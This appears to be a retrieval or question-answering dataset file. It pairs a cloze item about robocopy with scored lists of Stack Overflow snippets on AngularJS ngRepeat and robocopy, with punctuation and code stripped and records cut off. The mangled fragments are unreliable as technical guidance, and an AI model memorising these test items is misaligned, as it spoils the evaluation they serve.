blob master src ng directive ngRepeat.js . The expensive part of ngRepeat is the construction of new scopes and DOM nodes . ngRepeat tries to avoid this by using the already created nodes when the underlying collection changes .", "Question : Here is a demo http : embed.plnkr.co FrPul9VPj0UK90VDSqc4 to my problem . Can anyone explain to me why are the inputs uneditable readonly If it s by design what s the rationale behind UPDATE 2 20 2014 .. . .. . It looks like this is no longer an issue for v1.2.0+ Demo http : jsfiddle.net grL95 . But do keep in mind that although the user-controls are now editable with the newer angularJS versions it is the num property in the child scopes not the parent scope that get modified . In another words modifying the values in the user-controls does not affect the myNumbers array . Comment : Relevant AngularJS issue : github.com angular angular.js issues 1267 https : github.com angular angular.js issues 1267 Comment : For anyone else looking for an answer excepted one here is no longer valid . See one by sebnukem . Comment : @FDIM - I am not sure if I understand what you are saying . The accepted answer from Mark Rajcok is still a valid solution even for the newest Angular version 1.3 . The approach of using index is simply another working solution but it does not make the accepted answer invalid . Comment : True but its unnecessary complexity if version 1.3 used . I should have written that there is a better way bad choice of words sorry . .. . Answer : Can anyone explain to me why are the inputs uneditable readonly If it s by design what s the rationale behind It is by design as of Angular 1.0.3 https : github.com angular angular.js blob master CHANGELOG.md . Artem has a very good explanation http : stackoverflow.com a 13723990 215945 of how 1.0.3+ works when you bind to each ng-repeat item directly i.e . .. . .. . When your page initially renders here s a picture of your scopes I removed one of the array elements so the picture would have fewer boxes : .. . .. . enter image description here http : i.stack.imgur.com kMfMZ.png click to enlarge .. . .. . Dashed lines show prototypical scope inheritance . Gray lines show child parent relationships i.e . what parent references . Brown lines show nextSibling . Gray boxes are primitive values . Blue boxes are arrays . Purple are objects . Note that the SO answer of mine that you referenced in a comment was written before 1.0.3 came out . Before 1.0.3 the num values in the ngRepeat child scopes would actually change when you typed into the text boxes . These values would not be visible in the parent scope . Since 1.0.3 ngRepeat now replaces the ngRepeat scope num values with the unchanged values from the parent MainCtrl scope s myNumbers array during a digest cycle . This essentially makes the inputs uneditable . The fix is to use an array of objects in your MainCtrl : .. . .. . and then bind to the value property of the object in the ngRepeat : Comment : Mark your answer has answered my desire to understand what s happening behind-the-scene . It s the type of answer I was looking for . Also some of your other SO answers have helped me a lot . Thank you for sharing your knowledge and passion with the AngularJS community . Cheers . Comment : So if you have an object with referencing ID s : myObj.myRef 8 20 the only way is to convert this to value : 1 value : 2 right Would you then suggest to rather store references as strings myObj.myRef 8 20 Comment : @user785529 yes you need an array of objects if you want to use ng-repeat and ng-model inside . Strings are primitives also so they don t help solve the problem . Comment : @Roylee using num.value is the recommended practice : always have a dot in your models -- Mi ko video http : www.youtube.com watch v ZhfUv0spHCY t 32m50s . In your controller you would reference it as scope.myNumbers 0 .value . Comment : @aidan - Mark has actually commented on the solution you mentioned in AngularJS s wiki . See it for yourself . Link https : github.com angular angular.js wiki Understanding-Scopes", "Question : I have a vm.s new Set 1 2 3 .. . .. . how can I use ngRepeat on s without convert it to array I have tried .. . Answer : Try this its working You have to convert set to array using vm.arr Array.from vm.s .. . .. . .. . var app angular.module plunker .. . .. . app.controller MainCtrl function scope .. . var vm this .. . vm.arr .. . vm.s new Set 1 2 3 .. . vm.arr Array.from vm.s .. . console.log vm.arr .. . .. . .. . .. . script src https : ajax.googleapis.com ajax libs angularjs 1.2.23 angular.min.js script .. . .. . .. . body ng-app plunker ng-controller MainCtrl as main .. . ul .. . li ng-repeat o in main.arr o li .. . ul .. . body", "Question : I have angular objects as below : .. . .. . i want to sort orderBy this objs in ng-repeat by property createdAt DESC order . Please Note down that objs is of type Object not Array . I am iterating over objects . how to achieve that should i use index or not Here is plnkr https : plnkr.co edit 4jDXmrBr6SyuGIbZlSaU p preview Comment : You could use the negative sign - in your filter to signify DESC sorting . ng-repeat obj in objs track by index orderBy : -createdAt Comment : Try without track by : ng-repeat obj in objs orderBy : -createdAt Comment : you create an array from this data...and give it to angular the way angular wants Comment : Rethink your design It would be better if you sort your object already in the controller . Otherwise you move logic into the html . .. . Answer : The built-in orderBy doesn t work on objects but someone has created a filter for what you are trying to do : .. . .. . http : justinklemm.com angularjs-filter-ordering-objects-ngrepeat .. . .. . https : plnkr.co edit 3lbvJCegtHYIougIhK1R p preview", "Question : null .. . Answer : I m trying to use Lightbox to display images : .. . .. . I have two DIVs one with ngRepeat and one without it . I m displaying the same image . The images are displayed correctly but when I click them the images displayed with ngRepeat just downloads . The image outside works correctly displaying the image in the Lightbox fashion doesn t download . I looked at the stylings applied and they both appear to have same CSS styles applied . When I removed ng-repeat from the DIV it works fine . So somehow using ngRepeat is causing Lightbox not to work . Request headers : With ng-repeat : enter image description here http : i.stack.imgur.com FEaXt.png .. . .. . Without : enter image description here http : i.stack.imgur.com LpQBU.png Any idea Thank you . Comment : Have you compared the request headers for the images Comment : @John I looked at the headers and theres a difference but I don t know what to make of it . I added the header info to the post . Thanks . Comment : Are you sure you don t want your ng-repeat in the same div than the one with the class lightbox row Comment : @ippi thank you but that is a little too advanced for my level . I think I will go with vanilla code for now . Cheers . Comment : @floribon tried that but still same result . Thank you .", "Question : I am trying to hide the div if any of the buttons in the ng-repeat is clicked . However it doesn t seem to work it leads me to think if ng-hide or ng-show won t work if it is controlled from within a ng-repeat .. . Answer : ngRepeat directive creates new scope in every iteration for every item in array.It can make a problem which you have .", "Question : I have a Single page application that uses ngRoute to chane pages on an ng-view . The switching works well . I came into a problem where one of the html pages shown by ngview has an ngRepeat table . After reading several posts ive noticed ngrepeat cannot be used inside ngview . Any workaround index.html master page .. . .. . EventList.html displayed by ng-view .. . .. . ng-repeat item in items not populating my angular functions all work fine Comment : this doesn t even make any sense . What do you mean ngRepeat can t be used inside an ngView There is no such restriction . Please show a working example of your expected and actual results to demonstrate your issue . .. . Answer : Angular by default can only have 1 ng-view active at any time . You can get around this by putting your ng-view inside a div then control the visibility of that div by using the ng-if directive . Note : having mulitple ng-views is really not recommended . EDIT : Upon re-reading your question I think maybe you meant using ng-repeat inside an ng-view element This should work just fine . Comment : I have an div ngView that displays an html page the html page displayed has a table .... . tr ng-repeat item in items .. . but never populates . I will try to edit my post to add the code Comment : For as far as I can tell your code should work just fine . Are you sure items gets populated by your controller", "Question : I am trying to render the div with the ng-repeat when the index 2 . In this case the France index 2 will be shown . Any help will be appreciate it Comment : You just missed the quotation mark in div tag . .. . Answer : Looks like you re not closing the ng-repeat div . Something that could also be an issue is the absence of track by index https : docs.angularjs.org api ng directive ngRepeat . Comment : And the ng-repeat quote . Comment : Its just the missing closing quote : plnkr.co edit A1RybDUIRLptiCXaLSJM p preview http : plnkr.co edit A1RybDUIRLptiCXaLSJM p preview Comment : You only need to track by index is there are repeats in the array index is still available if you are not tracking by index .", "Question : null .. . Answer : Im using ngRepeat to populate some code and I would like to do this : .. . .. . However the item.fileName reference doesn t render to the value . How can I make this type of reference work I ve seen some code related to ng-init on the parent ngRepeat that looks feasible but I couldn t get it to work . Comment : is item.fileName an array Comment : No fileName is a key in the reportsData array . Comment : lets have a look at your item.fileName . Calling ng-repeat on it would infer that its either an object or an array . What is slide supposed to be if slide is an object and item.fileName matches a property in slide you could say slide image.fileName without the second ngRepeat Comment : That is why it doesn t work . fileName has to be an object or an array to use ng-repeat that way . Comment : I have an array for each fileName value already created . I just wanted to use the name value dynamically . @JustinHerter Thanks for putting me in the right direction . Im just going to use a generic array name and make the image paths dynamic .", "Question : How to define dynamic ng-repeat in scope variable like this : .. . .. . and use it in html : .. . .. . But error me .. . .. . Error : ngRepeat : iexp http : errors.angularjs.org 1.4.8 ngRepeat iexp p0 item.radioOptions .. . .. . Now How to create dynamic ng-repeat with this specification Comment : Why do you need to achieve this in this way Can you not use ng-repeat ro in radioOptions Comment : I can t use regular syntax because I want to use this ng-repeat to generate dynamic input radio Comment : What do you call Dynamic input radio You can dynamically update scope.radioOptions Comment : have you tried this - ng-repeat item.radioOptions Comment : @Weedoze I generate radio as dynamically .. . Answer : I solved problem with function that get name of array and then return array collection : .. . .. . and change html to :", "Question : Im using a simple ng-repeat to generate a list of countries . Within each list is a hidden row div that can be expanded and collapsed . The issue that i am facing is that before i introduced Angular into my application i manually hard-coded the element s ID for example : .. . .. . New code using ng-repeat : .. . .. . How can i assign a dynamic incremental id in my ng-repeat .. . Answer : You can use index https : docs.angularjs.org api ng directive ngRepeat Comment : Thanks yup i changed the template syntax . Comment : in any case if you are trying to identify a country to show-hide with ng-show I d rather add an id in your countries object . objects are unordered and using index might not be robust sometimes Comment : How to change the syntax very interesting . Comment : I removed the non-standard and angular interpolation start and end symbols . This had nothing to do with the question and just made it more complicated and not general purpose . I did this on both the question and this answer . Two of the comments above were in reference to this sorry if they make no sense now Comment : Thanks while index may not be robust it seems to be helpful for integration-testing - which is why I looked up this option .", "Question : i am working on Angular app . I tried to use ng-if and switch inside ng-repeat but didn t succeed . I have data like : .. . .. . scope.comments data mentioned above .. . and my Html like : .. . .. . How can i achieve this thing in Angular .. . Answer : This one is noteworthy as well Comment : ng-if in ng-repeat is Helpful Comment : This example doesnt work Comment : this example totally worked for me : Comment : This doesn t work at least for angular 1.2 : github.com angular angular.js issues 3584 https : github.com angular angular.js issues 3584 .", "Question : I m looking for the right pattern to inject a bootstrap row class every each 3 columns . I need this because cols doesn t have a fixed hight and I don t want to fix one so it breaks my design Here is my code : .. . .. . But it does only display one product in each row . What I want as final result is : .. . .. . Can I achieve this with only ng-repeat pattern without directive or controller The docs https : docs.angularjs.org api ng directive ngRepeat introduce ng-repeat-start and ng-repeat-end but I can t figure out how to use it is this use-case I feel like this is something we often use in bootstrap templating Thanks Comment : I think you should model your data in a way that fits your design it should probably be multidimensional-array or object with representation of rows and columns then you should iterate over rows and use conditional class ng-class directive and inside row you should then iterate over columns . Comment : Interesting and certainly a working solution but the day I want to display 4 products a row instead of 3 I have to modify my data structure I would prefer this to stay in the scope of pure display functionality .. . Comment : I see then you should probobly iterate in chunks as in Ariel answer also you may find this post stackoverflow.com questions 18564888 http : stackoverflow.com questions 18564888 iterate-over-chunks-of-an-array-using-ng-repeat usefull . Comment : I think this is exactly what you re looking for : stackoverflow.com a 30426750 1943442 http : stackoverflow.com a 30426750 1943442 Comment : related stackoverflow.com a 25838091 759452 http : stackoverflow.com a 25838091 759452 .. . Answer : You can do it without a directive but i m not sure it s the best way . To do this you must create array of array from the data you want to display in the table and after that use 2 ng-repeat to iterate through the array . to create the array for display use this function like that products.chunk 3 .. . .. . and then do something like that using 2 ng-repeat" ] }
[ "yes-answer-long", "yes-answer-short" ]
api
UNK_RELATION
robocopy@command-line@58
robocopy -- robocopy.exe - robust file copy is a windows @placeholder file directory replication utility published by microsoft .
{ "confidence": [ 34.307525634765625, 33.812538146972656, 33.74855422973633, 32.62677764892578, 31.63714599609375, 31.47559928894043, 31.45028305053711, 31.390838623046875, 30.961292266845703, 30.868898391723633, 30.315502166748047, 30.184471130371094, 29.870975494384766, 29.794506072998047, 28.85846710205078, 28.625316619873047, 28.625316619873047, 28.375381469726562, 28.24483871459961, 28.200809478759766, 28.19806671142578, 28.179149627685547, 27.59662437438965, 27.535070419311523, 27.490535736083984, 27.490535736083984, 27.329879760742188, 26.809707641601562, 26.45933723449707, 26.303062438964844, 26.242660522460938, 26.242660522460938, 25.85506248474121, 25.60143280029297, 25.506885528564453, 25.35548973083496, 25.35548973083496, 25.326465606689453, 25.127178192138672, 24.805999755859375, 24.80207633972168, 24.72229766845703, 24.532121658325195, 24.532121658325195, 24.51974868774414, 24.51974868774414, 24.466651916503906, 24.430057525634766, 24.429285049438477, 24.317838668823242, 24.27001953125, 24.239070892333984, 24.022125244140625, 23.99542236328125, 23.99542236328125, 23.750755310058594, 23.397340774536133, 23.300073623657227, 23.07232666015625, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 23.011756896972656, 22.790952682495117, 22.690217971801758, 22.662057876586914, 22.345134735107422, 22.345134735107422, 22.20754051208496, 22.20754051208496, 22.12364959716797, 22.037273406982422, 21.9063720703125, 21.876976013183594, 21.876976013183594, 21.778751373291016, 21.718910217285156, 21.55084228515625, 21.437040328979492, 21.386552810668945, 21.330150604248047, 21.25590705871582, 21.1817626953125, 20.963834762573242, 20.963834762573242, 20.963834762573242, 20.963834762573242, 20.963834762573242, 20.963834762573242, 20.790325164794922, 20.516910552978516, 20.516910552978516, 20.489580154418945 ], "content": [ "I am trying to run robocopy Windows robust copy in a shell script which is actually a git hook .", "My code uses Robocopy to copy files from a svn-checkout directory to a working directory .", "The Robocopy.exe runs under a Windows Server 2012 .", "The Robocopy fails to copy and hangs .", "I wanted do use robocopy as it was the most robust way of copying in the past .", "I use a batch-file triggering Robocopy and then Blat to send logfiles of a daily file copy task to a target address .", "Sometimes I get a very strange Incorrect function error message in robocopy and the file fails to copy .", "Using RoboCopy for one file seemed tedious .", "Is it cmd.exe or robocopy.exe", "I m using the robocopy command .. . .. . to delete the folders at once but during this command robocopy.exe stops working .", "I started looking at robocopy yesterday to try to copy and overwrite a file from one destination to many remote computers .", "cmd robocopy d : 10.226.0.12 full backup R : 3 E ZB COPYALL LOG : backup log.txt .. . .. . Then we have to compare file and directories for find missing copy file .", "The trouble is when the robocopy is preceded by an out-file command the robocopy writes a bunch of random characters to the log .", "I d like to backup my system with Robocopy and Powersell but Robocopy is not able to copy opened files .", "I ve tried xcopy and straightforward copy and paste between file explorer windows .", "and even using robocopy even tried swaping the order they copy but no luck .", "Using robocopy : .. . .. . E is to copy subfolders including empty ones .", "Can I use robocopy to copy only an ADS", "robocopy .. . .. . Is there a way of reattaching to the robocopy process", "And finally run robocopy .", "I need to write to a particular log file and append the results of multiple robocopy commands to the end of that file .", "We migrate a lot of data and use for this Robocopy.exe .", "Tried to add-in front of the file path in robocopy command to delete didn t work .", "Can you please take a look at this answer to see if this answers your question : Robocopy commands to copy a file to over 50 remote machines http : stackoverflow.com questions 26805835 robocopy-commands-to-copy-a-file-to-over-50-remote-machines .", "I want to create a robocopy job that would launch the copy and check the lastexitcode .", "That doesn t prevent use to use Robocopy and copy those files to the right place .", "robocopy start-process robocopy -argumentlist arguments -passthru .", "I d like to do it with Robocopy from cmd.exe if possible Windows Server 2008", "I ve been playing with this and you can get the long filenames with Robocopy with files robocopy c : temp NULL L S NJH NJS NDL NS NC then loop through them with foreach file in files .", "I ve tried Robocopy to copy files to a remote machine http : stackoverflow.com questions 19234471 robocopy-to-copy-files-to-a-remote-machine s 1 7C1.2456 but it doesn t work .", "I run a separate robocopy command must for the PSTs .", "Robocopy does not support checksum selection nor verification .", "For each file that has the same checksum but different modification time touch the source file to match the time of the destination directory .", "I m a huge fan of robocopy and use it extensively to copy between various servers I need to update .", ".. . .. . Update : I discovered with a Directory comparison tool that Robocopy does not keep compression intact when a compressed folder is copied over .", "Why use robocopy", "robocopy is using Backup Operators .", "It looks like this : robocopy source destination .pst e b xo fft r : 0 w : 0 . .. . .. . The main problem is that even if a user touches a PST but does not change anything within the PST the time stamp of the file changes and it considered newer by robocopy .", "You can also specify the directory to start in : .. . .. . Within the loop it s just a simply copy of the file into a specified folder .", "As I said the only thing I can suggest is that whatever metadata you re looking at in your file-manager isn t the same as what robocopy is using .", "I have a batch-file and pretty much all it does is copy call sqlcmd which runs fine and copy the file to a usb-drive .", "Before an OU is migration the data in the H : drives is refreshed using robocopy .", "robocopy expect source and destination to be directories not files .", "thank you too for explain robocopy info .", "But the robocopy command only accepts date .", "robocopy doesn t have minute granularity .", "I wrote a PowerShell script to backup folders tree using Robocopy The copy code is : .. . .. . Both target and source are on the same machine .", "Sometimes after a Full backup and a slow network the full backup archive copy has not completed when the log backup is run and I suspect a problem caused by the second robocopy now also trying to copy the large full backup file in addition to the new log backup .", "I want to copy all file and directories .", "Your robocopy command is missing not only the s switch as Ross Ridge points out but also the third argument the file mask .", "I want to copy all folders from a source directory to a destination directory .", "This means t he file name from nxa is then part of the destination rather than the file to copy .", "Just encode in the same manner of robocopy log : .. . .. . then you can append robocopy logs .", "I m currently trying ROBOCOPY .", "cd source then robocopy .", "I am using ROBOCOPY to copy backup files from a local folder to a remote fileshare as a part of having a remote backup solution .", "Luckily yesterday I saw an error displayed by Robocopy .", "File size is the same and nothing is different within the file .", "You can limit the number of simultaneous actions using -ThrottleLimit depending on the size of the source file and how robust the network server are :", "How would I insert Robocopy into this statement to bypass the exception", "Now the unexpected behavior : .. . Sometimes robocopy copies all data and not only the delta .", "After that run robocopy on X : and you should be good to go .", "I am having an intermittent issue with ROBOCOPY copying files with an incorrect date .", "Robocopy will exit with a code above 0 and still possibly not be a failure .", "robocopy exit codes below 8 are non-error status codes .", "See here http : ss64.com nt robocopy-exit.html .", "In my batch : .. . .. . However it fails the robocopy probably to do with the trailing backslash .", "I then robocopy my files from local PC to S3 .", "Resulting in : .. . .. . I want to do this in VB.NET or is there a syntax for robocopy that can do this job", "Variable Output as string and using in robocopy not the same http : i.stack.imgur.com igdz2.jpg", "Is there a way to have the script below show the progress of the file copy", "In that case I can guarantee a cleartool update which is incremental will be faster than a robocopy through a dynamic view even if the robocopy is also incremental .", "So the problem is with the XO option to robocopy more specifically the way shells script passes the parameter to robocopy .", "In the destination directory there are all folder names that I want to copy already exisiting .", "It should look like this : .. . .. . Source directory : .. . .. . Destination now : .. . .. . Destination after copy :", "@indiv according to this page an errorvalue of 1 is what I am trying to acomplish : ss64.com nt robocopy-exit.html http : ss64.com nt robocopy-exit.html", "If the retry flag is set to R : 60 should the second instance somehow skip files already being copied by another robocopy instance or will the two instances of robocopy step all over each other", "Optionally you can then perform a second test to check for the correct copy of all the sources files in the destination directory .", "Robocopy automatically converts the paths it is given to format .", "source http : blog.tylerholmes.com 2008 11 unstoppable-file-copying-with-robocopy.html showComment 1226607780000 c5304841247178234617 .. . .. . What was really strange in my case was if I watched the directory during the copy I would see the file with the correct date appear then AFTER it was complete the date would change to 1 1 1980 .", "When it fails the return code of ROBOCOPY is 0 which means no change .", "Robocopy is a great tool.. . when you have a job it can handle .", "If I copy the data with the same parameters to a Windows Client it works as expected .", "In each case I get some variation of the Incorrect function or Illegal MS-DOS function and the file will never copy .", "This could help if you made a PowerShell script .. . .. . The would copy the file fileToCopy to each server in the file C : filewithcomputers.txt assuming that the file contained a list of computer with each one on its own line .", "I have a text file which contains things like : .. . .. . C : Folder A Test.txt .. . .. . I need to copy certain files and their respective containers to a new directory from a directory but only those files I specify and their parent folder structures .", "These tools do not have the following command-line utilities : -copy -xcopy.exe -robocopy.exe .. . .. . Is there any method of command-line copy that is currently on XPe if not is there a 3rd party solution and how would I implement this", "It s like robocopy executes yet another process that isn t being written into the remote CMD console.. . maybe robocopy isn t the answer.. .", "I know that robocopy can copy ADS since I started with a blank drive then scanned with an ADS scanner revealing the ADSes of robocopied files .", "File path in Windows goes through several layers before it gets to the actual file system driver .", "Unfortunately I m encountering the dreaded PathTooLongException so I m attempting to use Robocopy as a work around .", "robocopy H : Computer GT-P3110 Tablet Data C : Users Public Pictures Pics .jpg robocopy.log", "I need to use robocopy to find all the paths since the a lot of the full paths exceed 260 characters .", "I m not sure which attributes you refer to but could you robocopy with the COPY : DT switch to strip off the attributes", "with robocopy or xcopy or something like that i have always a backslash at the end .. . .. . Here is a screenshot : .. . .. .", "This is a practical detailed question that I am having a problem with and need an answer as to how robocopy really works .", "You can check them in console for a special file with ICACLS file .", "Found KB article KB2646535 it adds dcopy : A and D commands to robocopy .", "robocopy empty dir super subfoldered folder s mir rmdir empty dir rmdir super subfoldered folder", "for r will walk a directory tree recursively looking for file names matching the given pattern ." ] }
{ "confidence": [ 46.37611770629883, 44.60950469970703, 42.624366760253906, 41.1850471496582, 41.131038665771484, 40.47447204589844, 39.71845245361328, 39.48618698120117, 38.36861801147461, 37.6060676574707, 37.072349548339844, 36.513912200927734, 36.25767517089844, 36.24994659423828, 36.209861755371094, 36.10885238647461, 35.556907653808594, 35.0772590637207, 34.844032287597656, 33.980064392089844 ], "content": [ "Question : null .. . Answer : We migrate a lot of data and use for this Robocopy.exe . Until now we had no problem . It worked as expected . The copy job has the following parameters : .. . .. . Options : . TEE S E DCOPY : DA COPY : DAT PURGE ZB NP ETA MT : 8 R : 2 W : 2 .. . .. . We set up the job and run it . The first time it synchs all the data . The second time it synchs only the delta changes . The Robocopy.exe runs under a Windows Server 2012 . The source is a netapp cifsshare Na mode and the destination is a netapp cifsshare Nc mode . Now the unexpected behavior : .. . Sometimes robocopy copies all data and not only the delta . This happen only if we copy from netapp to netapp . If I copy the data with the same parameters to a Windows Client it works as expected . Output with the debug Switch delta sync netapp -- remote Windows client C : Temp . Working as expected . Output with the debug Switch delta sync netapp -- netapp . Working NOT as expected . I read that when copying from FAT to NTFS this can occur . With the parameter fft should this be fixed . The parameter didn t help and both shares are NTFS . Did someone else recognize this behavior and eventually knows the reason Thanks for help .. . best regards .. . Patrick", "Question : My organization is migrating a large amount of Home Directory data to a CIFS storage solution . There is a large volume of PSTs being migrated . Before an OU is migration the data in the H : drives is refreshed using robocopy . I run a separate robocopy command must for the PSTs . It looks like this : robocopy source destination .pst e b xo fft r : 0 w : 0 . .. . .. . The main problem is that even if a user touches a PST but does not change anything within the PST the time stamp of the file changes and it considered newer by robocopy . File size is the same and nothing is different within the file . Any suggestions on how to NOT copy a PSTs that has only changed in date not content I ve tried the it switch but that actually sounds counter intuitive . .. . Answer : Robocopy does not support checksum selection nor verification . You will need to rely on an external tool like the Windows Checksum Integrity Verifier https : www.microsoft.com en-gb download details.aspx id 11533 .. . .. . First compute the hash for all source files then compare those with the files in the destination directory . For each file that has the same checksum but different modification time touch the source file to match the time of the destination directory . And finally run robocopy . Optionally you can then perform a second test to check for the correct copy of all the sources files in the destination directory .", "Question : I m using the robocopy command .. . .. . to delete the folders at once but during this command robocopy.exe stops working . I have tried to delete from a path that starts at least 50 sub folders inside the main folder still crashes . I ve tried renaming them to 1 but windows doesn t let me past 100+ folders and there are at least 1000 more . Tried to create new partition- subst j : . rename some folders and delete the partition but this takes forever because of their number . Tried dir x and del the shortened name - doesnt work . Is there another way to delete those folders Comment : After you ve renamed the folders to 1 as deeply as possible move the deepest 1 folder to the root of the drive . Repeat as necessary . If possible script the procedure since otherwise you ll be doing a great deal of typing . .. . Answer : File path in Windows goes through several layers before it gets to the actual file system driver . As a result there are two limits . 1 MAX PATH 260 limitation introduced by the top-level API 2 32K actually used by the file system . Since you already have that path it is obviously within the limits of the file system . Try using path by adding to the front . This is an indicator that Win32 API should not parse the string but pass it directly to the file system http : msdn.microsoft.com en-us library windows desktop aa365247 v vs.85 .aspx . This will only work if the proces making the call is Unicode and 64-bit on a 64-bit system . Otherwise the string must be converted and or marshaled and you are back to the 260 limit . Comment : OK forgot to mention . Since you are passing the path directly to the file system driver there is no path manipulation . No current directory no . folders etc . You must pass the complete path . Comment : Just tried the MOVE command . It accepts this syntax . I was able to move sub-trees using MOVE C : complete directory path.. . C : Temp Comment : Robocopy automatically converts the paths it is given to format . Comment : The real issue is that I want to delete the folders not MOVE them I actually found the Recycle Bin path and tried to MOVE the folders there but for some reason they don t appear in the bin and still remain . Tried to add-in front of the file path in robocopy command to delete didn t work . I would really appreciate some code samples for DELETING . robocopy empty dir super subfoldered folder s mir rmdir empty dir rmdir super subfoldered folder Comment : Right . The MOVE would help you shorten the path and remove once the path is short enough . That helps in a one-time situation . I also wrote an example program for you . I will try to attach here as a new response .", "Question : I started looking at robocopy yesterday to try to copy and overwrite a file from one destination to many remote computers . I ve tried Robocopy to copy files to a remote machine http : stackoverflow.com questions 19234471 robocopy-to-copy-files-to-a-remote-machine s 1 7C1.2456 but it doesn t work . I get the same error as the person in the link . Does anybody have any suggestions or lead me in the right way thank you so much Comment : If you are copying just one file you could use PowerShell Copy-Item C : local folder file.txt Server C Path since it supports UNC paths Comment : Is it possible to put One file to multiple remote computers which I have in a RemoteNames.txt thank you for taking the time to answer matt .. . Answer : If you have set your environment up to support PSRemoting and have placed the file in a file share you can use PowerShell Remoting to instruct many computers to retrieve the file themselves nearly simultaneously with Invoke-Command . You can limit the number of simultaneous actions using -ThrottleLimit depending on the size of the source file and how robust the network server are :", "Question : I m a huge fan of robocopy and use it extensively to copy between various servers I need to update . Lately I ve been archiving to an Amazon S3 account that I access via a mapped-drive using JungleDisk . I then robocopy my files from local PC to S3 . Sometimes I get a very strange Incorrect function error message in robocopy and the file fails to copy . I ve tried xcopy and straightforward copy and paste between file explorer windows . In each case I get some variation of the Incorrect function or Illegal MS-DOS function and the file will never copy . I delete the target but to no avail . Any ideas .. . Answer : I m not sure which attributes you refer to but could you robocopy with the COPY : DT switch to strip off the attributes", "Question : I am trying to run robocopy Windows robust copy in a shell script which is actually a git hook . It works fine until I add the option XO . So the command : .. . .. . works correctly in .bat and .sh file . But the command .. . .. . fails in .sh with error : .. . .. . ERROR : Invalid Parameter 3 : C : Program Files Git XO .. . .. . whereas it works correctly in bat file . So the problem is with the XO option to robocopy more specifically the way shells script passes the parameter to robocopy . Kindly suggest a solution . Comment : So this git bash is based on cygwin or msys with msys this problem should not arise http : sourceforge.net mailarchive message.php msg id 8686481 . Comment : Check stackoverflow.com questions 13701218 http : stackoverflow.com questions 13701218 windows-path-to-posix-path-conversion-in-bash 13702694 13702694 .. . Answer : It looks like you re using Cygwin or similar . Bash understands the character of as start of some file system path therefore C : Program Files Git XO .. . .. . Try escaping the as :", "Question : null .. . Answer : I want to copy all folders from a source directory to a destination directory . In the destination directory there are all folder names that I want to copy already exisiting . In addition there are other folders that have no same named equivalent in the source directory . All folders in the destination directory that do exist in the source need to be replaced so that only the content of the source folders exists inside them not a merge of the folders from source and destination . However all folders that are already in the destination directory and do not have a folder with the same name in the source need to stay untouched . How can I manage to do that I wanted do use robocopy as it was the most robust way of copying in the past . It should look like this : .. . .. . Source directory : .. . .. . Destination now : .. . .. . Destination after copy :", "Question : I am trying to invoke a PowerShell command that executes psexec on the remote machine as the Local System account that then executes robocopy via CMD C in logging mode to enumerate all files and file sizes within specific local folders . I cannot get any data back from the robocopy command although if I use a simple echo command to generate some data I receive the data back fine . I have to gauge all sizes and quantity of data from a very large number of file servers where permissions are FUBAR . A large permissions change would cause a huge deal of replication that our infrastructure can t handle . Comment : I think you are having an issue as your are signing into a remote system to the run as a different user . I think it is referred to as the double hop issue . Why not just use psexec outright and skip Invoke-Command . psexec.exe computerName -s cmd.... . Comment : Why are you running psexex via Invoke-Command why are you running robocopy in cmd when you don t use anything that would require cmd and why are you trying to copy C : Windows Temp onto itself Comment : Thanks both although I have already tried that . WAN speeds are terrible and the file count reaches into the millions in some cases . The command needs to be executed on the remote machine . What is strange is that I can see psexec and robocopy running on the remote system and CPU sits high while it enumerates files although all I get back on completion is the standard robocopy copyright message and then a 0 exit code . It s like robocopy executes yet another process that isn t being written into the remote CMD console.. . maybe robocopy isn t the answer.. . Comment : I have resolved this issue by using a custom written function Invoke-TokenManipulation which works really well : github.com clymb3r PowerShell tree master https : github.com clymb3r PowerShell tree master Invoke-TokenManipulation .. . Answer : https : github.com clymb3r PowerShell tree master Invoke-TokenManipulation .. . .. . I used this function as opposed to using psexec .", "Question : I m a huge fan of robocopy and use it extensively to copy between various servers I need to update . Lately I ve been archiving to an Amazon S3 account that I access via a mapped-drive using JungleDisk . I then robocopy my files from local PC to S3 . Sometimes I get a very strange Incorrect function error message in robocopy and the file fails to copy . I ve tried xcopy and straightforward copy and paste between file explorer windows . In each case I get some variation of the Incorrect function or Illegal MS-DOS function and the file will never copy . I delete the target but to no avail . Any ideas .. . Answer : I ve had similar issues from both OSX and linux . At first I was not concerned by it but then it occurred to me these issues could result in potential data contamination or backup failure . So I have abandon JungleDisk for everything except my lightweight work . Zipping taring files was not an option for me because of the size of my data set . With this approach you have to upload your entire data set each and every time .", "Question : ConEmu crashed on me whilst hosting a very long running robocopy command it has already run for several days . Robocopy is still running in the background I can see it listed in Task Manager and I don t want to kill it if possible . I want to be able to see robocopy s output . ConEmu can attach to applications but when I try this it does not show any of the previously hosted processes i.e . robocopy .. . .. . Is there a way of reattaching to the robocopy process .. . Answer : You haven t provided the crash message so who can guess Most probably your conhost.exe was crashed . Check this in TaskManager . If so there is no more console and ConEmu can t attach anything . Update .. . .. . If the RealConsole https : conemu.github.io en RealConsole.html is alive you may try to ShowWindow https : msdn.microsoft.com en-us library windows desktop ms633548.aspx on it . The window has ConsoleWindowClass window class name . I believe it s possible via PowerShell script but I m not sure how exactly . Also you may try to attach the RealConsole to ConEmu . The method may fail if OS forbid ConEmu to attach the console . 1 . Run ConEmu.exe -detached .. . 2 . Run from Win+R ConEmuC64.exe ADMIN ATTACH CONPID your-pid . Where your-pid is the process identifier of the running process . Is it cmd.exe or robocopy.exe Comment : conhost.exe is still running Comment : Maximus just saw you are the author of ConEmu thanks for making a great program . I use it daily . Comment : What about processes ConEmu .exe Comment : ConEmu .exe ended after an exception when I resized the ConEmu window . I know i should have copied the exception message but I was concerned about ending robocopy . I just want to know if there is any way of getting back to see the output . Comment : When GUI process ConEmu.exe is ended unexpectedly Server process ConEmuC.exe shows the RealConsole automatically . So you have not provided some critical information .", "Question : I m using the robocopy command .. . .. . to delete the folders at once but during this command robocopy.exe stops working . I have tried to delete from a path that starts at least 50 sub folders inside the main folder still crashes . I ve tried renaming them to 1 but windows doesn t let me past 100+ folders and there are at least 1000 more . Tried to create new partition- subst j : . rename some folders and delete the partition but this takes forever because of their number . Tried dir x and del the shortened name - doesnt work . Is there another way to delete those folders Comment : After you ve renamed the folders to 1 as deeply as possible move the deepest 1 folder to the root of the drive . Repeat as necessary . If possible script the procedure since otherwise you ll be doing a great deal of typing . .. . Answer : Windows has a subdirectory depth limit and it s not very deep . You may get a better result by booting up a Live Linux distro on cd or USB like Ubuntu and using the GUI file-manager to delete the tree .", "Question : null 